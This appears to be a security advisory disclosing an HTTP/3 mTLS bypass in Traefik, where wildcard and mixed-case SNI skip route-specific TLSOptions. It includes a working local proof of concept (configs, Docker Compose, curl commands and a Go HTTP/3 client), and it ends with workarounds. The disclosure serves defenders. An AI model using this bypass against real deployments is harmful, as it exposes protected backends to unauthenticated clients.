Traefik: HTTP/3 mTLS bypass via exact SNI TLSOptions lookup for wildcard and mixed-case hosts

Confirmed versions:

• wildcard HTTP/3 bypass: v3.7.0, v3.7.1
• exact-host mixed-case HTTP/3 bypass: v3.6.17, v3.7.0, v3.7.1

Details

HTTP/3 installs a QUIC TLS callback in pkg/server/server_entrypoint_tcp_http3.go:

h3.Server = &http3.Server{
    Addr:      config.GetAddress(),
    Port:      config.HTTP3.AdvertisedPort,
    Handler:   httpsServer.Server.(*http.Server).Handler,
    TLSConfig: &tls.Config{GetConfigForClient: h3.getGetConfigForClient},
}

The callback is wired to the TCP router's TLS selector:

func (e *http3server) Switch(rt *tcprouter.Router) {
    e.lock.Lock()
    defer e.lock.Unlock()

    e.getter = rt.GetTLSGetClientInfo()
}

The selector in pkg/server/router/tcp/router.go only performs an exact map lookup:

func (r *Router) GetTLSGetClientInfo() func(info *tls.ClientHelloInfo) (*tls.Config, error) {
    return func(info *tls.ClientHelloInfo) (*tls.Config, error) {
        if tlsConfig, ok := r.hostHTTPTLSConfig[info.ServerName]; ok {
            return tlsConfig, nil
        }

        return r.httpsTLSConfig, nil
    }
}

That creates two mismatches:

• wildcard keys such as *.example.com are never matched for api.example.com
• lower-case router keys such as api.example.com are not matched for mixed-case SNI such as API.EXAMPLE.COM

On the later HTTP request path, the same host can still match wildcard or case-insensitive Host rules through the muxer. The HTTP/3 TLS handshake path falls back to the default TLS config before that routing decision happens. If the default TLS config does not require a client certificate, the QUIC handshake succeeds without mTLS, and the later HTTP router still routes to the protected backend.

Preconditions:

• HTTP/3 is enabled on the affected entrypoint.
• A router-specific TLSOptions configuration enforces client certificate authentication.
• The default/fallback TLS configuration does not require client certificates.
• UDP access to the HTTP/3 entrypoint is reachable by the attacker.

Minimal wildcard dynamic configuration:

http:
  routers:
    protected:
      rule: Host(`*.example.com`)
      service: protected
      tls:
        options: mtls

  services:
    protected:
      loadBalancer:
        servers:
          - url: http://protected:80

tls:
  certificates:
    - certFile: /certs/server.crt
      keyFile: /certs/server.key

  options:
    mtls:
      clientAuth:
        caFiles:
          - /certs/ca.crt
        clientAuthType: RequireAndVerifyClientCert

Minimal exact-host dynamic configuration:

http:
  routers:
    protected:
      rule: Host(`api.example.com`)
      service: protected
      tls:
        options: mtls

  services:
    protected:
      loadBalancer:
        servers:
          - url: http://protected:80

tls:
  certificates:
    - certFile: /certs/server.crt
      keyFile: /certs/server.key

  options:
    mtls:
      clientAuth:
        caFiles:
          - /certs/ca.crt
        clientAuthType: RequireAndVerifyClientCert

Minimal Docker Compose:

services:
  traefik:
    image: traefik:v3.7.1
    command:
      - --log.level=DEBUG
      - --entrypoints.websecure.address=:8443
      - --entrypoints.websecure.http3
      - --providers.file.filename=/etc/traefik/dynamic.yml
      - --providers.file.watch=false
    ports:
      - "8443:8443/tcp"
      - "8443:8443/udp"
    volumes:
      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro
      - ./certs:/certs:ro
    depends_on:
      - protected

  protected:
    image: traefik/whoami:v1.11
    command:
      - --name=PROTECTED

Certificate generation:

rm -rf certs
mkdir -p certs

openssl req -x509 -newkey rsa:2048 -nodes -days 7   -keyout certs/ca.key   -out certs/ca.crt   -subj "/CN=traefik-poc-ca"

openssl req -newkey rsa:2048 -nodes   -keyout certs/server.key   -out certs/server.csr   -subj "/CN=api.example.com"   -addext "subjectAltName=DNS:api.example.com,DNS:*.example.com"

openssl x509 -req   -in certs/server.csr   -CA certs/ca.crt   -CAkey certs/ca.key   -CAcreateserial   -out certs/server.crt   -days 7   -sha256   -copy_extensions copyall

The mixed-case HTTP/3 client used for the exact-host case:

package main

import (
    "crypto/tls"
    "fmt"
    "io"
    "net/http"
    "os"
    "time"

    "github.com/quic-go/quic-go/http3"
)

func main() {
    serverName := os.Getenv("TLS_SERVER_NAME")
    if serverName == "" {
        serverName = "API.EXAMPLE.COM"
    }

    host := os.Getenv("HTTP_HOST")
    if host == "" {
        host = "API.EXAMPLE.COM"
    }

    tr := &http3.Transport{
        TLSClientConfig: &tls.Config{
            ServerName:         serverName,
            InsecureSkipVerify: true,
        },
    }
    defer tr.Close()

    client := &http.Client{Transport: tr, Timeout: 8 * time.Second}

    req, err := http.NewRequest(http.MethodGet, "https://127.0.0.1:8443/", nil)
    if err != nil {
        panic(err)
    }
    req.Host = host

    resp, err := client.Do(req)
    if err != nil {
        fmt.Fprintln(os.Stderr, err)
        os.Exit(1)
    }
    defer resp.Body.Close()

    fmt.Println(resp.Proto, resp.StatusCode)
    body, _ := io.ReadAll(resp.Body)
    fmt.Print(string(body))
}

PoC

Wildcard bypass:

1. Start Traefik with the wildcard dynamic configuration above.
2. Control over TCP/TLS:

curl --noproxy '*' --http2 -skv   --resolve api.example.com:8443:127.0.0.1   https://api.example.com:8443/

Observed result:

TLS alert ... certificate required

3. HTTP/3 bypass:

curl --noproxy '*' --http3-only -skv   --resolve api.example.com:8443:127.0.0.1   https://api.example.com:8443/

Observed result:

HTTP/3 200
Name: PROTECTED
Host: api.example.com:8443

Exact-host mixed-case bypass:

1. Start Traefik with the exact-host dynamic configuration above.
2. Control over TCP/TLS:

curl --noproxy '*' --http2 -skv   --resolve api.example.com:8443:127.0.0.1   https://api.example.com:8443/

Observed result:

TLS alert ... certificate required

3. Mixed-case HTTP/2 control:

curl --noproxy '*' --http2 -skv   --resolve API.EXAMPLE.COM:8443:127.0.0.1   https://API.EXAMPLE.COM:8443/

Observed result:

TLS alert ... certificate required

This control confirms that the bypass is specific to the HTTP/3 TLS configuration selection path in this test setup. The HTTP/2 request to the same mixed-case hostname still fails with certificate required.

4. HTTP/3 bypass with the same mixed-case hostname:

TLS_SERVER_NAME=API.EXAMPLE.COM HTTP_HOST=API.EXAMPLE.COM   go run ./h3-case-client.go

Observed result:

HTTP/3.0 200
Name: PROTECTED
Host: API.EXAMPLE.COM

Local regression tests used during validation:

go test ./pkg/server/router/tcp   -run 'TestGetTLSGetClientInfo_(WildcardCurrentBehavior|ExactHostCaseSensitivityCurrentBehavior)$'   -count=1

These tests were added locally during analysis to demonstrate the current behavior of GetTLSGetClientInfo(). They are not required to reproduce the issue; the Docker and curl/HTTP3 commands above are the end-to-end reproduction.

Version matrix observed with Docker images:

wildcard H3 bypass: affected on v3.7.0 and v3.7.1
exact-case H3 bypass: affected on v3.6.17, v3.7.0, and v3.7.1

The wildcard case was tested on v3.7.x because wildcard Host / HostSNI matching and TLSOptions association for wildcard domains were introduced in v3.7.0.

Impact

Deployments that use router TLSOptions as an access-control boundary for HTTP/3 can expose protected backends without client authentication.

The highest-impact case is mTLS:

• normal HTTP/2/TCP access to the protected host requires a client certificate
• HTTP/3 access to the same route falls back to the default TLS config
• the request is then routed to the protected backend without satisfying the route's mTLS policy

This can expose confidential data or privileged backend operations to unauthenticated network clients. The issue is especially severe because it does not require credentials, user interaction, or a prior foothold.

Possible workarounds until a fix is available:

• Disable HTTP/3 on entrypoints that rely on router-specific mTLS.
• Enforce mTLS in the default TLS options as well, so fallback TLS configuration is not weaker than router-specific configuration.
• Block UDP access to the HTTP/3 entrypoint.
• Enforce client authentication at an additional layer behind Traefik.